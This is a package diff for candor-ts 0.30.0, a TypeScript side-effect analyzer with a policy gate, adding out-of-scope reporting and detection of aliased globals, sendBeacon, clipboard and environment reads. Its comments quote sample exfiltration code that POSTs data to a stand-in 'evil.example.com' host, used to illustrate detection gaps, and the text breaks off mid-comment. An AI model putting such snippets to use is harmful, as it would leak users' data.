candor-ts 0.29.0 → 0.30.0

package/AGENTS.md

@@ -21,7 +21,7 @@ the TypeScript-specific production + query surface.
 > **Already installed? Report the version and ask before upgrading — before you scan.** If this
 > project already has candor (a `.candor/` report directory, or `candor-ts` reachable via `npx`/a
 > global install), do this *first*: run `npx -y candor-ts --version` (offline) and **tell the user
-> plainly which version they're on** — e.g. *"This project is on candor-ts `<version>` (spec 0.29)."*
+> plainly which version they're on** — e.g. *"This project is on candor-ts `<version>` (spec 0.30)."*
 > On a build too old for the flag, read `candor.version` / `candor.spec` from an existing
 > `.candor/report*.json`, or `npm ls -g candor-ts`.
 >
@@ -292,3 +292,12 @@ far as candor could see, but it could not see through these" (a LOWER bound), no
 dependency can opt out of that blind spot by declaring `"candorEffects": ["Net", …]` in its
 `package.json` (the §5.1 effect manifest, read declared-not-verified) — its calls then classify to
 the declared set instead of contributing nothing.
+
+- **⟨0.30⟩ A GREEN GATE CAN NOW EXIT 2 — read `outOfScope` before you trust a pass.** When a policy is
+  configured, candor also reads the files the scan EXCLUDED (test files, build scripts, archives under the
+  root, files outside the build's program) and reports any that perform an effect the policy DENIES, under
+  the report's `outOfScope` key. A non-empty block makes the verdict `ok:false`, `incomplete:true`, exit 2
+  — *"I could not see enough of this tree to certify it"*, which is NOT the same as "your code violates":
+  those functions are never in `violations`, because the gate did not judge them. Branch on `incomplete`
+  to tell the two apart. An absent key means the producer was never asked (no policy at scan time), and an
+  empty one means asked-and-clear.

package/README.md

@@ -192,7 +192,7 @@ pure-vs-Unknown ruling (PART 16) — the engines must answer identically, on eve
 | A call resolving to a *type* (function-typed field/param) → `Unknown`, never silent-pure | SPEC §4 |
 | Unmatched external calls contribute nothing (curated-classifier caveat) | SEMANTICS §8 C1 |
 | The literal surfaces `hosts`/`cmds`/`paths`/`tables`, literal-read only | SPEC §2 |
-| `{ candor: { version, toolchain, spec: "0.29" }, functions }` envelope; pure fns omitted | SPEC §2/§2.1 |
+| `{ candor: { version, toolchain, spec: "0.30" }, functions }` envelope; pure fns omitted | SPEC §2/§2.1 |
 | Call-graph sidecar with **every** analyzed function a key | SPEC §2.2 |
 | The gate: AS-EFF-006 / 008 / 009, loud on an unreadable policy | SPEC §6.2 |
 
@@ -210,7 +210,7 @@ read the Rust source".
 
 ## Status
 
-0.28.0, speaking candor-spec 0.29: the analysis core, the gate (`--policy` / `--gate-json` /
+0.30.0, speaking candor-spec 0.30: the analysis core, the gate (`--policy` / `--gate-json` /
 `.candor/config`), the full §3.1 query surface (including `containment`, `blindspots`, the
 `--include-unknown` dispatch frontier, and ⟨0.24⟩ `gate --report` — the gate applied to an EXISTING
 report, byte-equivalent to `scan --policy`'s verdict), the MCP server, the LSP server, and the watch loop are

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "candor-ts",
-  "version": "0.29.0",
-  "description": "candor for TypeScript \u2014 per-function side effects, transitively, with a policy gate (candor-spec 0.29)",
+  "version": "0.30.0",
+  "description": "candor for TypeScript \u2014 per-function side effects, transitively, with a policy gate (candor-spec 0.30)",
   "type": "module",
   "dependencies": {
     "@types/node": "^25.9.2",
@@ -66,6 +66,7 @@
     "verify-emit.mjs",
     "verify-loader.mjs",
     "verify-syscall.mjs",
+    "scratch.mjs",
     "sensitivity.mjs",
     "transitive-recall.mjs"
   ],

package/query-core.mjs

@@ -557,7 +557,16 @@ export function reportCompleteness(prefix) {
   // want different repairs and because `judgedNothing` is PINNED to "reports declaring `analyzed.count:
   // 0`", which a row-3 report is not.
   return { unanalyzed: reportUnanalyzed(prefix), judgedNothing: reportJudgedNothingFiles(prefix),
-           noManifest: reportNoManifestFiles(prefix), unreadable: reportUnreadableFiles(prefix) };
+           noManifest: reportNoManifestFiles(prefix),
+           // ⟨0.30⟩ the peek's findings, so an advisory verb keying `--strict` on this object is at least
+           // as pessimistic as the gate over the same bytes (the ⟨0.24⟩ MUST).
+           ...(() => {
+             const o = reportOutOfScope(prefix);
+             // A corrupt key rides `unreadable`, which is ALREADY an arm of the strict exit — so the
+             // fail-closed path is the one the ⟨0.24⟩ rule established, not a new one beside it.
+             return { outOfScope: o.findings,
+                      unreadable: [...reportUnreadableFiles(prefix), ...o.corrupt] };
+           })() };
 }
 
 /**
@@ -574,7 +583,38 @@ export function reportCompleteness(prefix) {
  * exit code; see `advisoryAnswer`, whose exit-bearing callers key `--strict` on manifest + unreadable.
  */
 export const mustHedge = (c) => !!(c && (c.unanalyzed?.length || c.judgedNothing?.length
-                                         || c.noManifest?.length || c.unreadable?.length));
+                                         || c.noManifest?.length || c.unreadable?.length
+                                         || c.outOfScope?.length));
+
+/** ⟨0.30⟩ The peek's findings across the reports under a locator. Read leniently HERE (a malformed key is
+ *  the gate's refusal to make, and this feeds a disclosure) but non-emptiness raises the same hedge the
+ *  gate raises, which is what keeps the advisory verbs bound to it. */
+export function reportOutOfScope(prefix) {
+  const out = [];
+  // ACCEPT A FULL PATH AS WELL AS A PREFIX. `reportFilesAt` appends `.json`, so a locator that already
+  // ends in `.json` — which is exactly what `--report <file>` gives — expanded to nothing and this
+  // returned `[]`. The hedge then never fired and `unverified --strict` certified a report the gate
+  // refuses. `loadGateReport` tolerates both spellings, so the two disagreed about the same locator.
+  const files = (prefix.endsWith(".json") && fs.existsSync(prefix)) ? [prefix] : reportFilesAt(prefix);
+  const corrupt = [];
+  for (const f of files) {
+    try {
+      const d = JSON.parse(fs.readFileSync(f, "utf8"));
+      // PRESENT-BUT-NOT-A-LIST IS CORRUPT, and it must reach the ADVISORY verbs too. Read leniently here,
+      // the key vanished and `--strict` certified a report `gate --report` refuses at exit 2 — the ⟨0.24⟩
+      // relation broken one shape over from where it was closed. The gate already refuses this; an
+      // advisory verb that does not is LESS pessimistic than the gate over the same bytes.
+      if (d?.outOfScope !== undefined && !Array.isArray(d.outOfScope)) { corrupt.push(f); continue; }
+      if (Array.isArray(d?.outOfScope)) {
+        for (const e of d.outOfScope) {
+          if (e && typeof e === "object") out.push(e);
+          else { corrupt.push(f); break; }
+        }
+      }
+    } catch { /* unparseable TEXT is `unreadable`'s business, not this key's */ }
+  }
+  return { findings: out, corrupt };
+}
 
 /**
  * ⟨0.28⟩ The disclosure KEYS, defined ONCE, for spreading into a verb's answer document — `{}` when there
@@ -740,7 +780,7 @@ export function loadReport(prefix) {
  */
 export function loadGateReport(prefix) {
   const files = reportFilesAt(prefix);
-  const functions = [], unanalyzed = [], cov = new Map(), corrupt = [];
+  const functions = [], unanalyzed = [], cov = new Map(), corrupt = [], outOfScope = [];
   let hardFail = false, analyzed = 0;
   // ⟨0.24⟩ did the report handed to the gate judge ANYTHING? Per FILE, then ANDed across the multi-report
   // siblings, because the union of several reports has judged something as soon as ONE of them has — the
@@ -799,6 +839,25 @@ export function loadGateReport(prefix) {
         else unanalyzed.push({ path: typeof u.path === "string" ? u.path : "", reason: typeof u.reason === "string" ? u.reason : "" });
       }
     }
+    // ⟨0.30⟩ THE PEEK'S FINDINGS, off the report rather than recomputed — this route CANNOT peek (it has
+    // no target, only a document), and that is exactly why the field rides the report. Concatenated across
+    // siblings like `functions` and `unanalyzed` above. ABSENT stays absent: ⟨0.26⟩ makes an absent key
+    // "this producer cannot answer", and a report produced with no policy was never asked, so it must not
+    // trigger the ⟨0.30⟩ verdict. Only well-formed entries count — a malformed one is corrupt input, and
+    // silently dropping it is how a fail-closed rung turns back into a green one.
+    const oos = parsed.outOfScope;
+    // PRESENT-BUT-NOT-A-LIST IS CORRUPT, NOT ABSENT. This had no `else` on the Array.isArray guard, so
+    // `"outOfScope": "oops"` was silently coerced to nothing and `gate --report` answered exit 0,
+    // `ok:true`, "no violations" over a report whose peek had found a denied effect — the exact
+    // fail-open coercion the strict read exists to prevent, in the commit that claims to prevent it.
+    // rust, java and swift all refuse this shape; only this route did not. (Found by review, MEASURED.)
+    if (oos !== undefined && !Array.isArray(oos))
+      corrupt.push(`${f}: \`outOfScope\` is present and is not a list`);
+    else if (Array.isArray(oos))
+      for (const e of oos)
+        if (e && typeof e === "object" && Array.isArray(e.effects) && e.effects.length)
+          outOfScope.push(e);
+        else corrupt.push(`${f}: \`outOfScope\` (an element is not an object carrying a non-empty \`effects\`)`);
     // ⟨0.15⟩ the κ ledger. Merged + re-sorted the PRODUCER's way (count desc, name asc by code point —
     // reportCoverage's rule, and scan.mjs's), so a single-report prefix reproduces the emitted order exactly.
     const unc = parsed.coverage?.uncovered;
@@ -811,7 +870,7 @@ export function loadGateReport(prefix) {
   }
   const coverage = [...cov.entries()].sort((a, b) => b[1] - a[1] || byCodePoint(a[0], b[0]))
     .map(([name, calls]) => ({ name, calls }));
-  return { functions, analyzed, unanalyzed, coverage, judgedNothing, hardFail: hardFail || corrupt.length > 0, corrupt };
+  return { functions, analyzed, unanalyzed, coverage, judgedNothing, outOfScope, hardFail: hardFail || corrupt.length > 0, corrupt };
 }
 // The returned graph carries a non-enumerable `partial` flag (the loadReport `hardFail` precedent):
 // true iff a sidecar file was MATCHED but failed to read/parse — its edges were DROPPED (disclosed on

package/query.mjs

@@ -509,7 +509,7 @@ function renderPathHuman(fns, cg, fnQ, eff) {
 // package.json; SPEC_VERSION is the spec contract this build speaks. Reused, never re-littered.
 const QUERY_DIR = path.dirname(fileURLToPath(import.meta.url));
 const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(QUERY_DIR, "package.json"), "utf8")).version;
-const SPEC_VERSION = "0.29";
+const SPEC_VERSION = "0.30";
 
 // ---- the §3.3.1 canonical query grammar (⟨0.10⟩, additive over 0.9) --------------------------------
 // One shape for every verb: `<verb> <verb-args…> [--report <locator>] [--policy <file>] [--json]
@@ -1852,7 +1852,12 @@ switch (cmd) {
     // --report` REFUSES over a corrupt member — measured, exit 2 — so exiting 0/1 here claimed this verb
     // got FURTHER than the gate on identical bytes. The unreadable note above already SAID the exit was
     // bounded by the gate's while this line did not read the field — a documented limitation, unmeasured.
-    process.exit(fgUnan.length || fgComp.unreadable.length || fgr.unevaluated?.length ? (strict ? 2 : 0) : (strict && !fgr.ok ? 1 : 0));
+    // ⟨0.30⟩ …and the peek's findings, because ⟨0.24⟩ binds this verb to the GATE's pessimism: "AN
+    // ADVISORY VERB MUST NEVER BE LESS SENSITIVE TO INCOMPLETENESS THAN THE GATE OVER THE SAME BYTES",
+    // and "THE SAME RULE BINDS EVERY ADVISORY VERB THAT ANSWERS `ok` — `unverified`, `fix-gate`, and any
+    // later sibling". ⟨0.30⟩ moved the gate to exit 2 on this cause and left these verbs certifying:
+    // MEASURED, `gate --report` exited 2 while this printed a clean answer at exit 0 over the same bytes.
+    process.exit(fgUnan.length || fgComp.unreadable.length || fgComp.outOfScope?.length || fgr.unevaluated?.length ? (strict ? 2 : 0) : (strict && !fgr.ok ? 1 : 0));
     break; // unreachable
   }
   case "unverified": {
@@ -1917,7 +1922,8 @@ switch (cmd) {
     // ⟨0.28⟩ `unreadable` joins the `--strict` exit-2 trigger — see fix-gate above. Measured on this verb
     // before the fix: over one good report plus one unparsable sibling, `gate --report` exited 2 and
     // `unverified --strict` exited 0 — and `--strict` is how CI consumes it.
-    process.exit(uUnan.length || uComp.unreadable.length || r.unevaluated?.length ? (strict ? 2 : 0) : (strict && !r.ok ? 1 : 0));
+    // ⟨0.30⟩ the peek's findings too — see the fix-gate exit above for the ⟨0.24⟩ MUST this satisfies.
+    process.exit(uUnan.length || uComp.unreadable.length || uComp.outOfScope?.length || r.unevaluated?.length ? (strict ? 2 : 0) : (strict && !r.ok ? 1 : 0));
     break; // unreachable
   }
   case "gate": {
@@ -2146,7 +2152,11 @@ switch (cmd) {
     // ⟨0.21⟩ COMPLETENESS MANIFEST: a gate cannot be green over code candor never analyzed. The scan path
     // exits 2 on its OWN `unanalyzed`; here the same manifest travels ON the report, so the same verdict
     // follows from it. A real violation (exit 1) dominates, as it does there.
-    const gincomplete = g.unanalyzed.length > 0;
+    // ⟨0.30⟩ the SECOND cause, read off the report because this route cannot peek — the report carries the
+    // peek's findings, which is what makes §3.1 byte-equality hold here by construction rather than by two
+    // authors agreeing. ABSENT is not empty: a report produced with no policy was never asked.
+    const gscope = g.outOfScope ?? [];
+    const gincomplete = g.unanalyzed.length > 0 || gscope.length > 0;
     // The verdict document — the SAME builder shape scan.mjs writes, field for field and in the same key
     // order, because §3.1 ⟨0.24⟩ makes byte-equality with `scan --policy`'s `--gate-json` the acceptance
     // test. `analyzed.count`, `incomplete`/`unanalyzed` and the ⟨0.15⟩ coverage advisory all come off the
@@ -2172,7 +2182,12 @@ switch (cmd) {
     // not be answered, this carries text that never became a rule at all. Omitted when empty; `ok` and
     // the exit do not consult it (the line-level leniency is unchanged, only disclosed).
     if (gpol.ignored?.length) gverdictObj.ignored = gpol.ignored;
-    if (gincomplete) { gverdictObj.incomplete = true; gverdictObj.unanalyzed = g.unanalyzed; }
+    if (gincomplete) {
+      gverdictObj.incomplete = true;
+      if (g.unanalyzed.length) gverdictObj.unanalyzed = g.unanalyzed;
+    }
+    // ⟨0.30⟩ same key, same position as the scan route's — §3.1's byte-equality is the acceptance test.
+    if (gscope.length) gverdictObj.outOfScope = gscope;
     if (g.coverage.length)
       gverdictObj.coverage = { uncovered: g.coverage.length, packages: g.coverage.map((c) => c.name) };
     if (gviol.length) {
@@ -2186,7 +2201,12 @@ switch (cmd) {
     if (gunevaluated.length)
       grefuse(`${gunevaluated.length} policy rule(s) could not be evaluated against this report`, gunevaluated);
     if (gincomplete) {
-      const why = `gate NOT certified — the report declares ${g.unanalyzed.length} unit(s) candor could not analyze; a gate cannot be green over unanalyzed code`;
+      // ⟨0.30⟩ NAME THE CAUSE THAT ACTUALLY FIRED. Two causes reach this exit now, and a message that
+      // always says "could not analyze" would report the wrong repair for the scope one — the operator
+      // would go looking for a parse failure that is not there.
+      const why = g.unanalyzed.length
+        ? `gate NOT certified — the report declares ${g.unanalyzed.length} unit(s) candor could not analyze; a gate cannot be green over unanalyzed code`
+        : `gate NOT certified — the report names ${gscope.length} function(s) OUTSIDE the scan's scope performing an effect this policy denies; the gate did not judge them, so the verdict is incomplete rather than a pass`;
       console.error(`candor-ts: ${why}`);
       // The INCOMPLETE verdict is a JUDGEMENT, not a refusal: it names what was analyzed and what was not,
       // and §3.1 makes byte-equality with `scan --policy`'s document the acceptance test for exactly it.

package/scan-core.mjs

@@ -60,7 +60,13 @@ export const KAPPA_RULES = [
   // `receiveMessageOnPort` reads it. Covers `worker.postMessage`, `parentPort.postMessage`, and a
   // `MessagePort`'s `.postMessage` (all typed from this module). `new Worker(...)` spawns the thread but
   // construction is inert here (like the net-cluster ctors) — the message verbs are the IPC boundary.
-  [/^(node:)?worker_threads$/, /^(postMessage|receiveMessageOnPort)$/, "Ipc"],
+  // …AND `postMessageToThread`, node 22's MODULE-LEVEL send. The name is anchored, so the newer API
+  // slipped past a rule that already covered every other spelling: `parentPort.postMessage`,
+  // `worker.postMessage`, a `MessagePort`'s `.postMessage` and `receiveMessageOnPort` were all Ipc while
+  // `postMessageToThread(id, value)` — the same channel, addressed by thread id — read PURE. Found by
+  // enumerating each builtin's EXPORTS and diffing them against what the table charges, rather than by
+  // testing the spellings someone already thought of.
+  [/^(node:)?worker_threads$/, /^(postMessage|postMessageToThread|receiveMessageOnPort)$/, "Ipc"],
   // node:cluster — `fork()` spawns a worker PROCESS and wires its IPC channel.
   [/^(node:)?cluster$/, /^fork$/, "Ipc"],
   // node:vm executes a runtime-supplied code STRING in-process — `runInThisContext`/`runInContext`/
@@ -162,7 +168,15 @@ export const KAPPA_RULES = [
   // node:os identity reads — userInfo (the OS user record) and hostname (the machine name) are
   // environment/host reads (Env), like System.getenv's host-identity cousins. The rest of node:os
   // (platform/arch/cpus/totalmem/…) is inert host introspection, left pure.
-  [/^(node:)?os$/, /^(userInfo|hostname)$/, "Env"],
+  // …AND `tmpdir`/`homedir`, which this list read as pure until a cross-engine parity sweep asked why.
+  // They are not introspection: node resolves `homedir()` from `$HOME` and `tmpdir()` from
+  // `$TMPDIR`/`$TMP`/`$TEMP`, so they are ENVIRONMENT VARIABLE READS behind a convenience name — the
+  // rule this line already applies to `userInfo`/`hostname`, and the reason `platform`/`arch` stay out.
+  // candor-rust charges the identical operations (`std::env::temp_dir`, `env::var("HOME")`,
+  // `env::current_dir`) as Env, so ts was the outlier AND inconsistent with ITSELF: `os.hostname()` was
+  // Env while `os.homedir()` was pure. MEASURED 2026-08-18: `deny Env` answered exit 0 over
+  // `os.homedir()`. `platform`/`arch`/`cpus` are untouched — they read no variable.
+  [/^(node:)?os$/, /^(userInfo|hostname|tmpdir|homedir)$/, "Env"],
   [/^(argon2|bcrypt|bcryptjs)$/, null, "Rand"],
   // The ORM tier — VERB-PRECISE (the CLASSIFIER discipline: tag the execution boundary, not
   // builders; `createQueryBuilder` is pure, its `getMany`/`execute` is the I/O). Found on the

package/scan.mjs

@@ -45,7 +45,7 @@ const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
 // literal stamped into the envelope's `spec` field, so the doc lines and the report can never drift.
 // Reused, never re-littered.
 const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(ENGINE_DIR, "package.json"), "utf8")).version;
-const SPEC_VERSION = "0.29";
+const SPEC_VERSION = "0.30";
 
 // A TREE TOO DEEP TO WALK IS "COULD NOT EVALUATE" (exit 2), NEVER "FOUND A VIOLATION" (exit 1).
 //
@@ -2156,6 +2156,84 @@ const corruptDepPkgs = new Set();
 if (allowJs) { compilerOptions.allowJs = true; compilerOptions.checkJs = false; }
 const program = ts.createProgram(fileNames, compilerOptions);
 const checker = program.getTypeChecker();
+
+/** A LOCAL ALIAS OF A GLOBAL IS STILL THAT GLOBAL — unwrap the binding to the node it was bound FROM.
+ *
+ * The global classifiers key on the callee/ctor NODE TEXT (`callee.text === "fetch"`,
+ * `ctorName === "WebSocket"`), so `const send = fetch; send(url)` and `const W = WebSocket; new W(url)`
+ * matched nothing and read PURE. Measured on published 0.29.0: `deny Net` answered exit 0 over a POST of
+ * caller data to an external host.
+ *
+ * DEFINED ONCE, ON PURPOSE. This defect has now appeared in three spellings — the bare identifier, the
+ * `globalThis.` qualifier, and the alias — each fixed where it was found. A second private copy of this
+ * unwrap is how the fourth spelling gets missed, so the call path and the `new` path share this.
+ *
+ * Returns the INITIALIZER NODE, never a name, so every caller's existing shadow guard still decides: a
+ * project-local `fetch` reached through an alias resolves to a project-local declaration and fabricates
+ * nothing. Bounded to 4 hops and only through identifier/property-access initializers — a rebinding,
+ * never a computed value, so this never follows a call or a conditional into a wrong answer.
+ */
+// 16, not 4: the bound exists to stop pathological input, not to decide real code. At 4 a FIVE-deep
+// chain tripped the fail-closed arm and charged Unknown — truthful (the analysis did stop looking)
+// but imprecise, and it would have fired on an ordinary chain of renamed PURE helpers too. Set it
+// where hand-written code never reaches it, so the honest-but-vague answer is reserved for input
+// that is actually pathological.
+const ALIAS_HOPS = 16;
+/** Symbols REASSIGNED somewhere in a file — `send = fetch`, `send = helper`. Built once per file.
+ *
+ * The unwrap below reads a declaration's INITIALIZER, and an initializer is not a value: for
+ * `let send = fetch; send = helper; send(url)` it answered `fetch` and charged Net over a call that
+ * reaches a pure local — a FABRICATION this fix introduced, which 0.29.0 did not have. The mirror case
+ * is worse: `let send; send = fetch; send(url)` has no initializer at all, so the unwrap returned the
+ * bare identifier and the call read silent-pure — the cardinal-sin spelling of the very defect the
+ * unwrap exists to close.
+ *
+ * One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
+ * know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
+ * too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
+const reassignedCache = new WeakMap();
+const reassignedIn = (sf) => {
+  let set = reassignedCache.get(sf);
+  if (set) return set;
+  set = new Set();
+  const walk = (n) => {
+    if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
+        && ts.isIdentifier(n.left)) {
+      const sym = checker.getSymbolAtLocation(n.left);
+      if (sym) set.add(sym);
+    }
+    ts.forEachChild(n, walk);
+  };
+  walk(sf);
+  reassignedCache.set(sf, set);
+  return set;
+};
+const unaliasGlobal = (expr) => {
+  let hop = 0;
+  for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
+    const sym = checker.getSymbolAtLocation(expr);
+    const decl = (sym?.declarations ?? [])[0];
+    // ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is available, so say so.
+    if (sym && decl && reassignedIn(decl.getSourceFile()).has(sym)) return { node: expr, truncated: true };
+    if (!decl || !ts.isVariableDeclaration(decl) || !decl.initializer) return { node: expr, truncated: false };
+    const init = decl.initializer;
+    if (!ts.isIdentifier(init) && !ts.isPropertyAccessExpression(init)) return { node: expr, truncated: false };
+    expr = init;
+  }
+  // THE BOUND MUST FAIL CLOSED. Stopping because the CHAIN ENDED is an answer; stopping because the
+  // BUDGET ended is not — and the first cut of this helper returned the same thing for both, so a
+  // 5-deep alias chain read PURE while a 4-deep one read Net. That is my own fix failing open at its
+  // own edge: a cliff where the analysis silently stops looking. `truncated` says which happened, and
+  // the callers charge Unknown on it — the posture this engine already takes for a callee it cannot
+  // resolve (a parameter call reports Unknown, never nothing).
+  const stillGoing = ts.isIdentifier(expr)
+    && (() => {
+      const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
+      return !!d && ts.isVariableDeclaration(d) && !!d.initializer
+        && (ts.isIdentifier(d.initializer) || ts.isPropertyAccessExpression(d.initializer));
+    })();
+  return { node: expr, truncated: hop >= ALIAS_HOPS && stillGoing };
+};
 const projectFiles = new Set(fileNames.map((f) => path.resolve(f)));
 const sources = program.getSourceFiles().filter((f) => projectFiles.has(path.resolve(f.fileName)));
 
@@ -4062,6 +4140,18 @@ const identIsGlobalProcess = (id) => {
 const isProcessEnvExpr = (expr) =>
   expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
 
+// …AND `process.argv`, which is the same channel. §1 defines Env as "reading environment variables /
+// THE PROCESS ENVIRONMENT", and argv is process-startup state delivered by the same `exec` call that
+// delivers envp — secrets arrive through it (`--token=…`) exactly as they do through a variable.
+// candor-rust has always charged `std::env::args()` as Env; ts and swift read it as PURE, so a
+// cross-engine parity sweep found the three engines answering one question two ways, with NO
+// conformance row to catch it. This is conformance to §1's existing wording, not a new clause.
+// (The adjacent java ruling does NOT transfer: `System.getProperty` is excluded there because charging
+// it "flooded a scala-library scan with a spurious 14k Env" — JVM `-D` config read pervasively at
+// class-init. `argv` is read once in a main.)
+const isProcessArgvExpr = (expr) =>
+  expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "argv" && identIsGlobalProcess(expr.expression);
+
 // The set of local-binding SYMBOLS that alias process.env — collected below, one pre-pass over the
 // sources. A symbol lands here iff its ONLY initializer/assignment is `= process.env` (a reassignment
 // to anything else removes it → the alias is cleared, per the spec's reassignment rule).
@@ -4622,12 +4712,50 @@ function visitCalls(node) {
               else rec.incomplete.add("Net");
             }
           }
+          // `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
+          // data to a server on page-unload, it is what analytics and telemetry reach for, and it read
+          // PURE: `deny Net` answered exit 0 over
+          //     navigator.sendBeacon("https://evil.example.com/collect", data)
+          // on published 0.29.0. Found by sweeping the ALIAS spelling across every effect-global — the
+          // alias was the question, and the DIRECT call turned out to be missing too.
+          // The URL is argument 0. No literal ⇒ `incomplete: Net`, the same fail-closed posture the
+          // `open`/ctor branches take, so a runtime endpoint cannot be certified by an allowlist.
+          // `navigator.clipboard.writeText/readText/write/read` — Clipboard, a §6.1 BOUNDARY effect:
+          // data leaves the program on write and arrives from outside it on read. The family rolled
+          // Clipboard out everywhere (candor-swift charges NSPasteboard in both directions, candor-rust
+          // charges arboard), and the WEB clipboard was the hole: it read PURE, so
+          //     await navigator.clipboard.writeText(secret)   under `deny Clipboard`  →  exit 0, policy ✓
+          // on published 0.29.0. Found by sweeping every effect-bearing global rather than the one that
+          // prompted the sweep. `clipboardy` was never affected — an import resolves through κ.
+          if (parent === "Clipboard"
+              && (name === "writeText" || name === "readText" || name === "write" || name === "read")) {
+            rec.direct.add("Clipboard");
+          }
+          if (parent === "Navigator" && name === "sendBeacon") {
+            rec.direct.add("Net");
+            const u = (node.arguments ?? [])[0];
+            const lit = u && ts.isStringLiteralLike(u)
+              ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
+            const h = lit ? hostLiteral(lit) : null;
+            if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
+            else rec.incomplete.add("Net");
+          }
+          // `crypto.getRandomValues(buf)` — the Web Crypto RNG is Rand, and `Rand` is in the vocabulary.
+          // Node's `randomBytes` was already charged because it arrives through an IMPORT; the browser
+          // global resolves to lib.dom and was charged nothing, so `deny Rand` passed over it.
+          if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
+            rec.direct.add("Rand");
+          }
           // `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
           // `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
           // branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
           // so the constructed identifier is the real browser global.
           if (ts.isNewExpression(node)) {
-            const ctorName = node.expression.getText();
+            // …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
+            // Same defect as the call path, one node type over — hence the SHARED unwrap.
+            const unCtor = unaliasGlobal(node.expression);
+            const ctorName = unCtor.node.getText();
+            if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
             if (ctorName === "EventSource" || ctorName === "WebSocket") {
               rec.direct.add("Net");
               // The URL is argument 0 of both constructors — see the XHR note above for the measurement.
@@ -4947,6 +5075,11 @@ function visitCalls(node) {
   // on process.env or a confirmed alias, destructuring a key off it, and the `in` membership test.
   {
     const markEnv = () => { const owner = enclosing(node); if (owner) fns.get(owner).direct.add("Env"); };
+    // `process.argv` — the same channel, and the same ruling candor-rust has always applied to
+    // `std::env::args()`. Reading the ARRAY is the read: `process.argv[2]`, `process.argv.slice(2)`,
+    // `const [,,x] = process.argv`, or handing it to a parser all reach the same process-startup state.
+    // Marked on the expression itself so every idiom counts without enumerating them.
+    if (isProcessArgvExpr(node)) markEnv();
     // `process.env.KEY` / `env.KEY` (dot) and `process.env["KEY"]` / `env[k]` (bracket, literal OR dynamic key).
     if ((ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node)) && readsProcessEnv(node.expression)) {
       markEnv();
@@ -4981,7 +5114,33 @@ function visitCalls(node) {
   // callee — `process.*` by exact text (mirroring the process.env match), `fetch` by identifier whose
   // symbol is NOT a local declaration (so a project's own `fetch` shadow never fabricates Net).
   if (ts.isCallExpression(node)) {
-    const callee = node.expression;
+    // …AND THROUGH A LOCAL ALIAS OF THE GLOBAL, which is the spelling this block kept missing.
+    //
+    // Every test below reads the CALLEE NODE — `callee.text === "fetch"`, `ctext === "globalThis.fetch"`.
+    // `const send = fetch; send(url)` has callee `send`, so it matched nothing and the call vanished:
+    //
+    //     export async function exfil(data: string) {
+    //       const send = fetch;
+    //       await send("https://evil.example.com/collect", { method: "POST", body: data });
+    //     }
+    //     deny Net  →  exit 0, `policy ✓`, 0 effectful functions          MEASURED on published 0.29.0
+    //
+    // A POST of caller data to an external host, certified clean: the cardinal sin. It is also the THIRD
+    // spelling of one defect — the comment below records `globalThis.fetch` "read silent-pure" until it
+    // was added beside the bare identifier. Fixing the instance and not the class is what left this one.
+    //
+    // Imports were never affected (`const g = fs.readFileSync; g(p)` charges Fs, and so do the named and
+    // destructured forms) because those resolve through the symbol table. Only the GLOBALS matched here
+    // are keyed by text, so only they needed unwrapping. candor-rust and candor-swift both charge the
+    // aliased form already; this was ts alone.
+    //
+    // SHADOW-SAFE, which is the whole reason the guards below test the symbol rather than the name: the
+    // unwrap yields the INITIALIZER NODE, so `const send = fetch` where `fetch` is a project-local
+    // declaration still fails the "not declared in this project" test and fabricates nothing. Bounded to
+    // 4 hops, and only through a plain identifier/property-access initializer — a rebinding, never a
+    // computed value, so nothing here follows a function call or a conditional into a wrong answer.
+    const un = unaliasGlobal(node.expression);
+    const callee = un.node;
     const ctext = callee.getText().replace(/\s+/g, "");
     let geff = null;
     // The member path AFTER the global `process` object, or null: `process.hrtime` → "hrtime",
@@ -5005,15 +5164,70 @@ function visitCalls(node) {
     else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
       geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
 
-    else if (ts.isIdentifier(callee) && callee.text === "fetch"
-             && !(checker.getSymbolAtLocation(callee)?.declarations ?? [])
-                  .some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName))))
+    // …AND `fetch` REACHED THROUGH AN IMPORT, which this guard was treating as the project's own.
+    //
+    // The guard asks "is this fetch declared in a project file?", so a project's own `fetch` never
+    // fabricates Net. For `import { fetch } from "node-fetch-native/proxy"` the symbol's declaration is
+    // the IMPORT SPECIFIER — which lives in the importing file, a project file — so the guard said yes
+    // and withheld Net. Declared-in-a-project-file is not DEFINED-BY-the-project.
+    //
+    // MEASURED, and the shape is a MONOTONICITY VIOLATION:
+    //     without node_modules → `exfil` reports Unknown        (honest — the import did not resolve)
+    //     WITH node_modules    → `exfil` reports NOTHING, pure  (silent)
+    // Installing dependencies gives the analyzer MORE information and produced a LESS safe answer, and
+    // `deny Net` certified `await fetch("https://evil.example.com/collect", {method:"POST", body:data})`.
+    // Found on REAL code: giget's `_utils.download`, a function whose whole job is an HTTP download,
+    // reported `['Fs']` alone with its 474 packages installed.
+    //
+    // Resolve THROUGH the alias: the aliased symbol's declaration says whether the project defines this,
